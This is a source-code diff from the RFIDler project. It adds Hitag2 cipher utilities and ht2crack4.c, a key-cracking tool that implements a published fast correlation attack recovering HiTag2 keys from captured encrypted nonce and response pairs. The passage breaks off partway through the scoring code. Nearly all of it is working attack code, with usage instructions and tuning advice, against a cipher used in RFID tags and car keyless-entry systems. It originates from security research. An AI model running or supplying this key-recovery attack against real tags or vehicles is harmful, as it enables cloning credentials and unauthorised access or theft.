||||
* software. The terms, conditions, and exceptions of this license must *
|
||||
* be included as well. This license is incompatible with some other open *
|
||||
* source licenses as well. In some cases we can relicense portions of *
|
||||
* RFIDler or grant special permissions to use it in other open source *
|
||||
* software. Please contact sales@aperturelabs.com with any such requests.*
|
||||
* Similarly, we don't incorporate incompatible open source software into *
|
||||
* Covered Software without special permission from the copyright holders. *
|
||||
* *
|
||||
* If you have any questions about the licensing restrictions on using *
|
||||
* RFIDler in other works, are happy to help. As mentioned above, we also *
|
||||
* offer alternative license to integrate RFIDler into proprietary *
|
||||
* applications and appliances. These contracts have been sold to dozens *
|
||||
* of software vendors, and generally include a perpetual license as well *
|
||||
* as providing for priority support and updates. They also fund the *
|
||||
* continued development of RFIDler. Please email sales@aperturelabs.com *
|
||||
* for further information. *
|
||||
* If you have received a written license agreement or contract for *
|
||||
* Covered Software stating terms other than these, you may choose to use *
|
||||
* and redistribute Covered Software under those terms instead of these. *
|
||||
* *
|
||||
* Source is provided to this software because we believe users have a *
|
||||
* right to know exactly what a program is going to do before they run it. *
|
||||
* This also allows you to audit the software for security holes (none *
|
||||
* have been found so far). *
|
||||
* *
|
||||
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
|
||||
* and add new features. You are highly encouraged to send your changes *
|
||||
* to the RFIDler mailing list for possible incorporation into the *
|
||||
* main distribution. By sending these changes to Aperture Labs Ltd. or *
|
||||
* one of the Aperture Labs Ltd. development mailing lists, or checking *
|
||||
* them into the RFIDler source code repository, it is understood (unless *
|
||||
* you specify otherwise) that you are offering the RFIDler Project *
|
||||
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
|
||||
* modify, and relicense the code. RFIDler will always be available Open *
|
||||
* Source, but this is important because the inability to relicense code *
|
||||
* has caused devastating problems for other Free Software projects (such *
|
||||
* as KDE and NASM). We also occasionally relicense the code to third *
|
||||
* parties as discussed above. If you wish to specify special license *
|
||||
* conditions of your contributions, just say so when you send them. *
|
||||
* *
|
||||
* This program is distributed in the hope that it will be useful, but *
|
||||
* WITHOUT ANY WARRANTY; without even the implied warranty of *
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
|
||||
* license file for more details (it's in a COPYING file included with *
|
||||
* RFIDler, and also available from *
|
||||
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
|
||||
* *
|
||||
***************************************************************************/
|
||||
|
||||
// Author: unknown.
|
||||
// Modifications for RFIDler: Tony Naggs <tony.naggs@gmail.com>, Adam Laurie <adam@aperturelabs.com>
|
||||
|
||||
|
||||
#ifndef HITAGCRYPTO_H
|
||||
#define HITAGCRYPTO_H
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
/*
|
||||
Our model of Hitag 2 crypto uses 2 parallel shift registers:
|
||||
a. 48 bit Feedback Shift Register, required for inputs to the nonlinear function.
|
||||
b. 48 bit Linear Feedback Shift Register (LFSR).
|
||||
A transform of initial register (a) value, which is then run in parallel.
|
||||
Enables much faster calculation of the feedback values.
|
||||
|
||||
API:
|
||||
void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum,
|
||||
uint32_t initvector);
|
||||
Initialise state from 48 bit shared (secret) reader/tag key,
|
||||
32 bit tag serial number and 32 bit initialisation vector from reader.
|
||||
|
||||
uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps);
|
||||
update shift register state and generate N cipher bits (N should be <= 32)
|
||||
*/
|
||||
|
||||
|
||||
typedef struct {
|
||||
uint64_t shiftreg; // naive shift register, required for nonlinear fn input
|
||||
uint64_t lfsr; // fast lfsr, used to make software faster
|
||||
} Hitag_State;
|
||||
|
||||
void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, uint32_t initvector);
|
||||
|
||||
uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps);
|
||||
|
||||
unsigned int hitag2_benchtest_gen32();
|
||||
unsigned int hitag2_benchtest(uint32_t count);
|
||||
unsigned hitag2_verifytest();
|
||||
|
||||
#endif /* HITAGCRYPTO_H */
|
||||
|
187
tools/hitag2crack/crack4/ht2crack2utils.c
Normal file
187
tools/hitag2crack/crack4/ht2crack2utils.c
Normal file
|
@ -0,0 +1,187 @@
|
|||
#include "ht2crack2utils.h"
|
||||
|
||||
// writes a value into a buffer as a series of bytes
|
||||
void writebuf(unsigned char *buf, uint64_t val, unsigned int len)
|
||||
{
|
||||
int i;
|
||||
char c;
|
||||
|
||||
for (i=len-1; i>=0; i--)
|
||||
{
|
||||
c = val & 0xff;
|
||||
buf[i] = c;
|
||||
val = val >> 8;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
/* simple hexdump for testing purposes */
|
||||
void shexdump(unsigned char *data, int data_len)
|
||||
{
|
||||
int i;
|
||||
|
||||
if (!data || (data_len <= 0)) {
|
||||
printf("shexdump: invalid parameters\n");
|
||||
return;
|
||||
}
|
||||
|
||||
printf("Hexdump from %p:\n", data);
|
||||
|
||||
for (i=0; i<data_len; i++) {
|
||||
if ((i % HEX_PER_ROW) == 0) {
|
||||
printf("\n0x%04x: ", i);
|
||||
}
|
||||
printf("%02x ", data[i]);
|
||||
}
|
||||
printf("\n\n");
|
||||
}
|
||||
|
||||
|
||||
|
||||
void printbin(unsigned char *c)
|
||||
{
|
||||
int i, j;
|
||||
unsigned char x;
|
||||
|
||||
if (!c) {
|
||||
printf("printbin: invalid params\n");
|
||||
return;
|
||||
}
|
||||
|
||||
for (i=0; i<6; i++) {
|
||||
x = c[i];
|
||||
for (j=0; j<8; j++) {
|
||||
printf("%d", (x & 0x80) >> 7);
|
||||
x = x << 1;
|
||||
}
|
||||
}
|
||||
printf("\n");
|
||||
}
|
||||
|
||||
|
||||
void printbin2(uint64_t val, unsigned int size)
|
||||
{
|
||||
int i;
|
||||
uint64_t mask = 1;
|
||||
|
||||
mask = mask << (size - 1);
|
||||
|
||||
for (i=0; i<size; i++) {
|
||||
if (val & mask) {
|
||||
printf("1");
|
||||
} else {
|
||||
printf("0");
|
||||
}
|
||||
val = val << 1;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void printstate(Hitag_State *hstate)
|
||||
{
|
||||
printf("shiftreg =\t");
|
||||
printbin2(hstate->shiftreg, 48);
|
||||
printf("\n");
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
// convert hex char to binary
|
||||
unsigned char hex2bin(unsigned char c)
|
||||
{
|
||||
if ((c >= '0') && (c <= '9')) {
|
||||
return (c - '0');
|
||||
} else if ((c >= 'a') && (c <= 'f')) {
|
||||
return (c - 'a' + 10);
|
||||
} else if ((c >= 'A') && (c <= 'F')) {
|
||||
return (c - 'A' + 10);
|
||||
} else {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
// return a single bit from a value
|
||||
int bitn(uint64_t x, int bit)
|
||||
{
|
||||
uint64_t bitmask = 1;
|
||||
|
||||
bitmask = bitmask << bit;
|
||||
|
||||
if (x & bitmask) {
|
||||
return 1;
|
||||
} else {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// the sub-function R that rollback depends upon
|
||||
int fnR(uint64_t x)
|
||||
{
|
||||
// renumbered bits because my state is 0-47, not 1-48
|
||||
return (bitn(x, 1) ^ bitn(x, 2) ^ bitn(x, 5) ^ bitn(x, 6) ^ bitn(x, 7) ^
|
||||
bitn(x, 15) ^ bitn(x, 21) ^ bitn(x, 22) ^ bitn(x, 25) ^ bitn(x, 29) ^ bitn(x, 40) ^
|
||||
bitn(x, 41) ^ bitn(x, 42) ^ bitn(x, 45) ^ bitn(x, 46) ^ bitn(x, 47));
|
||||
}
|
||||
|
||||
// the rollback function that lets us go backwards in time
|
||||
void rollback(Hitag_State *hstate, unsigned int steps)
|
||||
{
|
||||
int i;
|
||||
|
||||
for (i=0; i<steps; i++) {
|
||||
hstate->shiftreg = ((hstate->shiftreg << 1) & 0xffffffffffff) | fnR(hstate->shiftreg);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
// the three filter sub-functions that feed fnf
|
||||
int fa(unsigned int i)
|
||||
{
|
||||
return bitn(0x2C79, i);
|
||||
}
|
||||
|
||||
int fb(unsigned int i)
|
||||
{
|
||||
return bitn(0x6671, i);
|
||||
}
|
||||
|
||||
int fc(unsigned int i)
|
||||
{
|
||||
return bitn(0x7907287B, i);
|
||||
}
|
||||
|
||||
// the filter function that generates a bit of output from the prng state
|
||||
int fnf(uint64_t s)
|
||||
{
|
||||
unsigned int x1, x2, x3, x4, x5, x6;
|
||||
|
||||
x1 = (bitn(s, 2) << 0) | (bitn(s, 3) << 1) | (bitn(s, 5) << 2) | (bitn(s, 6) << 3);
|
||||
x2 = (bitn(s, 8) << 0) | (bitn(s, 12) << 1) | (bitn(s, 14) << 2) | (bitn(s, 15) << 3);
|
||||
x3 = (bitn(s, 17) << 0) | (bitn(s, 21) << 1) | (bitn(s, 23) << 2) | (bitn(s, 26) << 3);
|
||||
x4 = (bitn(s, 28) << 0) | (bitn(s, 29) << 1) | (bitn(s, 31) << 2) | (bitn(s, 33) << 3);
|
||||
x5 = (bitn(s, 34) << 0) | (bitn(s, 43) << 1) | (bitn(s, 44) << 2) | (bitn(s, 46) << 3);
|
||||
|
||||
x6 = (fa(x1) << 0) | (fb(x2) << 1) | (fb(x3) << 2) | (fb(x4) << 3) | (fa(x5) << 4);
|
||||
|
||||
return fc(x6);
|
||||
}
|
||||
|
||||
// builds the lfsr for the prng (quick calcs for hitag2_nstep())
|
||||
void buildlfsr(Hitag_State *hstate)
|
||||
{
|
||||
uint64_t state = hstate->shiftreg;
|
||||
uint64_t temp;
|
||||
|
||||
temp = state ^ (state >> 1);
|
||||
hstate->lfsr = state ^ (state >> 6) ^ (state >> 16)
|
||||
^ (state >> 26) ^ (state >> 30) ^ (state >> 41)
|
||||
^ (temp >> 2) ^ (temp >> 7) ^ (temp >> 22)
|
||||
^ (temp >> 42) ^ (temp >> 46);
|
||||
}
|
||||
|
||||
|
||||
|
34
tools/hitag2crack/crack4/ht2crack2utils.h
Normal file
34
tools/hitag2crack/crack4/ht2crack2utils.h
Normal file
|
@ -0,0 +1,34 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
#include <pthread.h>
|
||||
|
||||
#include "HardwareProfile.h"
|
||||
#include "rfidler.h"
|
||||
#include "util.h"
|
||||
|
||||
#include "hitagcrypto.h"
|
||||
|
||||
#define HEX_PER_ROW 16
|
||||
|
||||
|
||||
|
||||
void writebuf(unsigned char *buf, uint64_t val, unsigned int len);
|
||||
void shexdump(unsigned char *data, int data_len);
|
||||
void printbin(unsigned char *c);
|
||||
void printbin2(uint64_t val, unsigned int size);
|
||||
void printstate(Hitag_State *hstate);
|
||||
unsigned char hex2bin(unsigned char c);
|
||||
int bitn(uint64_t x, int bit);
|
||||
int fnR(uint64_t x);
|
||||
void rollback(Hitag_State *hstate, unsigned int steps);
|
||||
int fa(unsigned int i);
|
||||
int fb(unsigned int i);
|
||||
int fc(unsigned int i);
|
||||
int fnf(uint64_t s);
|
||||
void buildlfsr(Hitag_State *hstate);
|
868
tools/hitag2crack/crack4/ht2crack4.c
Normal file
868
tools/hitag2crack/crack4/ht2crack4.c
Normal file
|
@ -0,0 +1,868 @@
|
|||
/* ht2crack4.c
|
||||
*
|
||||
* This is an implementation of the fast correlation attack in Section 4.4 of the
|
||||
* paper, Lock It and Still Lose It - On the (In)Security of Automotive Remote
|
||||
* Keyless Entry Systems by Garcia, Oswald, Kasper and Pavlides.
|
||||
* It is essentially an attack on the HiTag2 cryptosystem; it uses a small number
|
||||
* (between 4 and 32) of encrypted nonce and challenge response pairs for the same
|
||||
* UID to recover the key.
|
||||
*
|
||||
* Key recovery is performed by enumerating all 65536 of the first 16 bits of the
|
||||
* key and then, using the encrypted nonces and challenge response pairs, scoring
|
||||
* all of the guesses for how likely they are to be the first 16 bits of the actual
|
||||
* key. The best of these guesses are then expanded by 1 bit and the process
|
||||
* iterates until all bits have been guessed. The resulting guesses are then searched
|
||||
* for the one that is actually correct, testing against two pairs.
|
||||
*
|
||||
* The program reads in up to 32 encrypted nonce and challenge response pairs from
|
||||
* the supplied file; the number actually used is specified on the command line
|
||||
* (defaults to all those read in). The default size of the table is 800000 but this
|
||||
* can be changed via the command line options.
|
||||
*
|
||||
* Using more encrypted nonce and challenge response pairs improves the chances of
|
||||
* recovering the key and doesn't significantly add to the time it takes.
|
||||
*
|
||||
* Using a larger table also improves the chances of recovering the key but
|
||||
* *significantly* increases the time it takes to run.
|
||||
*
|
||||
* Best recommendation is to use as many encrypted nonce and challenge response
|
||||
* pairs as you can, and start with a table size of about 500000, as this will take
|
||||
* around 45s to run. If it fails, run it again with a table size of 1000000,
|
||||
* continuing to double the table size until it succeeds. Alternatively, start with
|
||||
* a table size of about 3000000 and expect it to take around 4 mins to run, but
|
||||
* with a high likelihood of success.
|
||||
*
|
||||
* Setting table size to a large number (~32000000) will likely blow up the stack
|
||||
* during the recursive qsort(). This could be fixed by making the stack space
|
||||
* larger but really, you need a smaller table and more encrypted nonces.
|
||||
*
|
||||
* The scoring of the guesses is controversial, having been tweaked over and again
|
||||
* to find a measure that provides the best results. Feel free to tweak it yourself
|
||||
* if you don't like it or want to try alternative metrics.
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <inttypes.h>
|
||||
#include <math.h>
|
||||
#include <pthread.h>
|
||||
#include "ht2crack2utils.h"
|
||||
|
||||
/* you could have more than 32 traces, but you shouldn't really need
|
||||
* more than 16. You can still win with 8 if you're lucky. */
|
||||
#define MAX_NONCES 32
|
||||
|
||||
/* set this to the number of virtual cores you have */
|
||||
#define NUM_THREADS 8
|
||||
|
||||
/* encrypted nonce and keystream storage
|
||||
* ks is ~enc_aR */
|
||||
struct nonce {
|
||||
uint64_t enc_nR;
|
||||
uint64_t ks;
|
||||
};
|
||||
|
||||
/* guess table entry - we store key guesses and do the maths to convert
|
||||
* to states in the code
|
||||
* score is used for sorting purposes
|
||||
* b0to31 is an array of the keystream generated from the init state
|
||||
* that is later XORed with the encrypted nonce and key guess
|
||||
*/
|
||||
struct guess {
|
||||
uint64_t key;
|
||||
double score;
|
||||
uint64_t b0to31[MAX_NONCES];
|
||||
};
|
||||
|
||||
/* thread_data is the data sent to the scoring threads */
|
||||
struct thread_data {
|
||||
unsigned int start;
|
||||
unsigned int end;
|
||||
unsigned int size;
|
||||
};
|
||||
|
||||
/* guess table and encrypted nonce/keystream table */
|
||||
struct guess *guesses = NULL;
|
||||
unsigned int num_guesses;
|
||||
struct nonce nonces[MAX_NONCES];
|
||||
unsigned int num_nRaR;
|
||||
uint64_t uid;
|
||||
int maxtablesize = 800000;
|
||||
uint64_t supplied_testkey = 0;
|
||||
|
||||
void usage()
|
||||
{
|
||||
printf("ht2crack4 - K Sheldrake, based on the work of Garcia et al\n\n");
|
||||
printf("Cracks a HiTag2 key using a small number (4 to 16) of encrypted\n");
|
||||
printf("nonce and challenge response pairs, using a fast correlation\n");
|
||||
printf("approach.\n\n");
|
||||
printf(" -u UID (required)\n");
|
||||
printf(" -n NONCEFILE (required)\n");
|
||||
printf(" -N number of nRaR pairs to use (defaults to 32)\n");
|
||||
printf(" -t TABLESIZE (defaults to 800000\n");
|
||||
printf("Increasing the table size will slow it down but will be more\n");
|
||||
printf("successful.\n");
|
||||
|
||||
exit(1);
|
||||
}
|
||||
|
||||
|
||||
/* macros to select bits from lfsr states - from RFIDler code */
|
||||
#define pickbits2_2(S, A, B) ( ((S >> A) & 3) | ((S >> (B - 2)) & 0xC) )
|
||||
#define pickbits1x4(S, A, B, C, D) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \
|
||||
((S >> (C - 2)) & 4) | ((S >> (D - 3)) & 8) )
|
||||
#define pickbits1_1_2(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \
|
||||
((S >> (C - 2)) & 0xC) )
|
||||
#define pickbits2_1_1(S, A, B, C) ( ((S >> A) & 3) | ((S >> (B - 2)) & 4) | \
|
||||
((S >> (C - 3)) & 8) )
|
||||
#define pickbits1_2_1(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 6) | \
|
||||
((S >> (C - 3)) & 8) )
|
||||
|
||||
/* boolean tables for fns a, b and c - from RFIDler code */
|
||||
const uint64_t ht2_function4a = 0x2C79; // 0010 1100 0111 1001
|
||||
const uint64_t ht2_function4b = 0x6671; // 0110 0110 0111 0001
|
||||
const uint64_t ht2_function5c = 0x7907287B; // 0111 1001 0000 0111 0010 1000 0111 1011
|
||||
|
||||
/* following arrays are the probabilities of getting a 1 from each function, given
|
||||
* a known least-sig pattern. first index is num bits in known part, second is the
|
||||
* bit pattern of the known part. */
|
||||
double pfna[][8] = {
|
||||
{0.50000, 0.50000, },
|
||||
{0.50000, 0.50000, 0.50000, 0.50000, },
|
||||
{0.50000, 0.00000, 0.50000, 1.00000, 0.50000, 1.00000, 0.50000, 0.00000, },
|
||||
};
|
||||
double pfnb[][8] = {
|
||||
{0.62500, 0.37500, },
|
||||
{0.50000, 0.75000, 0.75000, 0.00000, },
|
||||
{0.50000, 0.50000, 0.50000, 0.00000, 0.50000, 1.00000, 1.00000, 0.00000, },
|
||||
};
|
||||
double pfnc[][16] = {
|
||||
{0.50000, 0.50000, },
|
||||
{0.62500, 0.62500, 0.37500, 0.37500, },
|
||||
{0.75000, 0.50000, 0.25000, 0.75000, 0.50000, 0.75000, 0.50000, 0.00000, },
|
||||
{1.00000, 1.00000, 0.50000, 0.50000, 0.50000, 0.50000, 0.50000, 0.00000, 0.50000, 0.00000, 0.00000, 1.00000, 0.50000, 1.00000, 0.50000, 0.00000, },
|
||||
};
|
||||
|
||||
|
||||
/* hitag2_crypt works on the post-shifted form of the lfsr; this is the ref in rfidler code */
|
||||
static uint32_t hitag2_crypt(uint64_t s)
|
||||
{
|
||||
uint32_t bitindex;
|
||||
|
||||
bitindex = (ht2_function4a >> pickbits2_2 (s, 1, 4)) & 1;
|
||||
bitindex |= ((ht2_function4b << 1) >> pickbits1_1_2 (s, 7, 11, 13)) & 0x02;
|
||||
bitindex |= ((ht2_function4b << 2) >> pickbits1x4 (s, 16, 20, 22, 25)) & 0x04;
|
||||
bitindex |= ((ht2_function4b << 3) >> pickbits2_1_1 (s, 27, 30, 32)) & 0x08;
|
||||
bitindex |= ((ht2_function4a << 4) >> pickbits1_2_1(s, 33, 42, 45)) & 0x10;
|
||||
|
||||
return (ht2_function5c >> bitindex) & 1;
|
||||
}
|
||||
|
||||
/* ht2crypt works on the pre-shifted form of the lfsr; this is the ref in the paper */
|
||||
uint64_t ht2crypt(uint64_t s)
|
||||
{
|
||||
uint64_t bitindex;
|
||||
|
||||
bitindex = (ht2_function4a >> pickbits2_2 (s, 2, 5)) & 1;
|
||||
bitindex |= ((ht2_function4b << 1) >> pickbits1_1_2 (s, 8, 12, 14)) & 0x02;
|
||||
bitindex |= ((ht2_function4b << 2) >> pickbits1x4 (s, 17, 21, 23, 26)) & 0x04;
|
||||
bitindex |= ((ht2_function4b << 3) >> pickbits2_1_1 (s, 28, 31, 33)) & 0x08;
|
||||
bitindex |= ((ht2_function4a << 4) >> pickbits1_2_1(s, 34, 43, 46)) & 0x10;
|
||||
|
||||
return (ht2_function5c >> bitindex) & 1;
|
||||
}
|
||||
|
||||
|
||||
/* fnL is the feedback function for the reference code */
|
||||
uint64_t fnL(uint64_t x)
|
||||
{
|
||||
return (bitn(x, 0) ^ bitn(x, 2) ^ bitn(x, 3) ^ bitn(x, 6) ^ bitn(x, 7) ^ bitn(x, 8) ^
|
||||
bitn(x, 16) ^ bitn(x, 22) ^ bitn(x, 23) ^ bitn(x, 26) ^ bitn(x, 30) ^ bitn(x, 41) ^
|
||||
bitn(x, 42) ^ bitn(x, 43) ^ bitn(x, 46) ^ bitn(x, 47));
|
||||
}
|
||||
|
||||
|
||||
/* packed_size is an array that maps the number of confirmed bits in a state to
|
||||
* the number of relevant bits.
|
||||
* e.g. if there are 16 confirmed bits in a state, then packed_size[16] = 8 relevant bits.
|
||||
* this is for pre-shifted lfsr */
|
||||
unsigned int packed_size[] = { 0, 0, 0, 1, 2, 2, 3, 4, 4, 5, 5, 5, 5, 6, 6, 7, 8,
|
||||
8, 9, 9, 9, 9, 10, 10, 11, 11, 11, 12, 12, 13, 14, 14, 15,
|
||||
15, 16, 17, 17, 17, 17, 17, 17, 17, 17, 17, 18, 19, 19, 20, 20 };
|
||||
|
||||
|
||||
/* f20 is the same as hitag2_crypt except it works on the packed version
|
||||
* of the state where all 20 relevant bits are squashed together */
|
||||
uint64_t f20(uint64_t y)
|
||||
{
|
||||
uint64_t bitindex;
|
||||
|
||||
bitindex = (ht2_function4a >> (y & 0xf)) & 1;
|
||||
bitindex |= ((ht2_function4b << 1) >> ((y >> 4) & 0xf)) & 0x02;
|
||||
bitindex |= ((ht2_function4b << 2) >> ((y >> 8) & 0xf)) & 0x04;
|
||||
bitindex |= ((ht2_function4b << 3) >> ((y >> 12) & 0xf)) & 0x08;
|
||||
bitindex |= ((ht2_function4a << 4) >> ((y >> 16) & 0xf)) & 0x10;
|
||||
|
||||
return (ht2_function5c >> bitindex) & 1;
|
||||
}
|
||||
|
||||
|
||||
/* packstate packs the relevant bits from LFSR state into 20 bits for pre-shifted lfsr */
|
||||
uint64_t packstate(uint64_t s)
|
||||
{
|
||||
uint64_t packed;
|
||||
|
||||
packed = pickbits2_2 (s, 2, 5);
|
||||
packed |= (pickbits1_1_2 (s, 8, 12, 14) << 4);
|
||||
packed |= (pickbits1x4 (s, 17, 21, 23, 26) << 8);
|
||||
packed |= (pickbits2_1_1 (s, 28, 31, 33) << 12);
|
||||
packed |= (pickbits1_2_1(s, 34, 43, 46) << 16);
|
||||
|
||||
return packed;
|
||||
}
|
||||
|
||||
|
||||
/* create_guess_table mallocs the tables */
|
||||
void create_guess_table()
|
||||
{
|
||||
guesses = (struct guess *)malloc(sizeof(struct guess) * maxtablesize);
|
||||
if (!guesses) {
|
||||
printf("cannot malloc guess table\n");
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/* init the guess table by reading in the encrypted nR,aR values and
|
||||
* setting the first 2^16 key guesses */
|
||||
void init_guess_table(char *filename, char *uidstr)
|
||||
{
|
||||
unsigned int i, j;
|
||||
FILE *fp;
|
||||
char *buf = NULL;
|
||||
char *buft1 = NULL;
|
||||
char *buft2 = NULL;
|
||||
size_t lenbuf = 64;
|
||||
|
||||
if (!guesses) {
|
||||
printf("guesses is NULL\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// read uid
|
||||
if (!strncmp(uidstr, "0x", 2)) {
|
||||
uid = rev32(hexreversetoulong(uidstr + 2));
|
||||
} else {
|
||||
uid = rev32(hexreversetoulong(uidstr));
|
||||
}
|
||||
|
||||
|
||||
// read encrypted nonces and challenge response values
|
||||
fp = fopen(filename, "r");
|
||||
if (!fp) {
|
||||
printf("cannot open nRaR file\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
num_nRaR = 0;
|
||||
buf = (char *)malloc(lenbuf);
|
||||
if (!buf) {
|
||||
printf("cannot malloc buf\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
while ((getline(&buf, &lenbuf, fp) > 0) && (num_nRaR < MAX_NONCES)) {
|
||||
buft1 = strchr(buf, ' ');
|
||||
if (!buft1) {
|
||||
printf("invalid file input on line %d\n", num_nRaR + 1);
|
||||
exit(1);
|
||||
}
|
||||
*buft1 = 0x00;
|
||||
buft1++;
|
||||
buft2 = strchr(buft1, '\n');
|
||||
if (!buft2) {
|
||||
printf("no CR on line %d\n", num_nRaR + 1);
|
||||
exit(1);
|
||||
}
|
||||
*buft2 = 0x00;
|
||||
if (!strncmp(buf, "0x", 2)) {
|
||||
nonces[num_nRaR].enc_nR = rev32(hexreversetoulong(buf+2));
|
||||
nonces[num_nRaR].ks = rev32(hexreversetoulong(buft1+2)) ^ 0xffffffff;
|
||||
} else {
|
||||
nonces[num_nRaR].enc_nR = rev32(hexreversetoulong(buf));
|
||||
nonces[num_nRaR].ks = rev32(hexreversetoulong(buft1)) ^ 0xffffffff;
|
||||
}
|
||||
num_nRaR++;
|
||||
}
|
||||
|
||||
fclose(fp);
|
||||
fp = NULL;
|
||||
|
||||
fprintf(stderr, "Loaded %d nRaR pairs\n", num_nRaR);
|
||||
|
||||
// set key and copy in enc_nR and ks values
|
||||
// set score to -1.0 to distinguish them from 0 scores
|
||||
for (i=0; i<65536; i++) {
|
||||
guesses[i].key = i;
|
||||
guesses[i].score = -1.0;
|
||||
for (j=0; j<num_nRaR; j++) {
|
||||
guesses[i].b0to31[j] = 0;
|
||||
}
|
||||
}
|
||||
|
||||
num_guesses = 65536;
|
||||
}
|
||||
|
||||
|
||||
/* bit_score calculates the ratio of partial states that could generate
|
||||
* the resulting bit b to all possible states
|
||||
* size is the number of confirmed bits in the state */
|
||||
double bit_score(uint64_t s, uint64_t size, uint64_t b)
|
||||
{
|
||||
uint64_t packed;
|
||||
uint64_t chopped;
|
||||
unsigned int n;
|
||||
uint64_t b1;
|
||||
double nibprob1, nibprob0, prob;
|
||||
unsigned int fncinput;
|
||||
|
||||
|
||||
// chop away any bits beyond size
|
||||
chopped = s & ((1l << size) - 1);
|
||||
// and pack the remaining bits
|
||||
packed = packstate(chopped);
|
||||
|
||||
// calc size of packed version
|
||||
n = packed_size[size];
|
||||
|
||||
b1 = b & 0x1;
|
||||
|
||||
// calc probability of getting b1
|
||||
|
||||
// start by calculating probability of getting a 1,
|
||||
// then fix if b1==0 (subtract from 1)
|
||||
|
||||
if (n == 0) {
|
||||
// catch the case where we have no relevant bits and return
|
||||
// the default probability
|
||||
return 0.5;
|
||||
} else if (n < 4) {
|
||||
// incomplete first nibble
|
||||
// get probability of getting a 1 from first nibble
|
||||
// and by subtraction from 1, prob of getting a 0
|
||||
nibprob1 = pfna[n-1][packed];
|
||||
nibprob0 = 1.0 - nibprob1;
|
||||
|
||||
// calc fnc prob as sum of probs of nib 1 producing a 1 and 0
|
||||
prob = (nibprob0 * pfnc[0][0]) + (nibprob1 * pfnc[0][1]);
|
||||
} else if (n < 20) {
|
||||
// calculate the fnc input first, then we'll fix it
|
||||
fncinput = (ht2_function4a >> (packed & 0xf)) & 1;
|
||||
fncinput |= ((ht2_function4b << 1) >> ((packed >> 4) & 0xf)) & 0x02;
|
||||
fncinput |= ((ht2_function4b << 2) >> ((packed >> 8) & 0xf)) & 0x04;
|
||||
fncinput |= ((ht2_function4b << 3) >> ((packed >> 12) & 0xf)) & 0x08;
|
||||
fncinput |= ((ht2_function4a << 4) >> ((packed >> 16) & 0xf)) & 0x10;
|
||||
|
||||
// mask to keep the full nibble bits
|
||||
fncinput = fncinput & ((1l << (n / 4)) - 1);
|
||||
|
||||
if ((n % 4) == 0) {
|
||||
// only complete nibbles
|
||||
prob = pfnc[(n / 4) - 1][fncinput];
|
||||
} else {
|
||||
// one nibble is incomplete
|
||||
if (n <= 16) {
|
||||
// it's in the fnb area
|
||||
nibprob1 = pfnb[(n % 4) - 1][packed >> ((n / 4) * 4)];
|
||||
nibprob0 = 1.0 - nibprob1;
|
||||
prob = (nibprob0 * pfnc[n / 4][fncinput]) + (nibprob1 * pfnc[n / 4][fncinput | (1l << (n / 4))]);
|
||||
} else {
|
||||
// it's in the final fna
|
||||
nibprob1 = pfna[(n % 4) - 1][packed >> 16];
|
||||
nibprob0 = 1.0 - nibprob1;
|
||||
prob = (nibprob0 * ((ht2_function5c >> fncinput) & 0x1)) + (nibprob1 * ((ht2_function5c >> (fncinput | 0x10)) & 0x1));
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// n==20
|
||||
prob = f20(packed);
|
||||
}
|
||||
|
||||
if (b1) {
|
||||
return prob;
|
||||
} else {
|
||||
return (1.0 - prob);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/* score is like bit_score but does multiple bit correlation.
|
||||
* bit_score and then shift and then repeat, adding all
|
||||
* bit_scores together until no bits remain. bit_scores are
|
||||
* multiplied by the number of relevant bits in the scored state
|
||||
* to give weight to more complete states. */
|
||||
double score(uint64_t s, unsigned int size, uint64_t ks, unsigned int kssize)
|
||||
{
|
||||
double sc, sc2;
|
||||
|
||||
if ((size == 1) || (kssize == 1)) {
|
||||
sc = bit_score(s, size, ks & 0x1);
|
||||
return (sc * (packed_size[size] + 1));
|
||||
} else {
|
||||
// I've introduced a weighting for each score to
|
||||
// give more significance to bigger windows.
|
||||
|
||||
sc = bit_score(s, size, ks & 0x1);
|
||||
|
||||
// if a bit_score returns a probability of 0 then this can't be a winner
|
||||
if (sc == 0.0) {
|
||||
return 0.0;
|
||||
} else {
|
||||
|
||||
sc2 = score(s >> 1, size - 1, ks >> 1, kssize - 1);
|
||||
|
||||
// if score returns a probability of 0 then this can't be a winner
|
||||
if (sc2 == 0.0) {
|
||||
return 0.0;
|
||||
} else {
|
||||
return (sc * (packed_size[size] + 1)) + sc2;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/* score_traces runs score for each encrypted nonce */
|
||||
void score_traces(struct guess *g, unsigned int size)
|
||||
{
|
||||
uint64_t lfsr;
|
||||
unsigned int i;
|
||||
double sc;
|
||||
double total_score = 0.0;
|
||||
|
||||
// don't bother scoring traces that are already losers
|
||||
if (g->score == 0.0) {
|
||||
return;
|
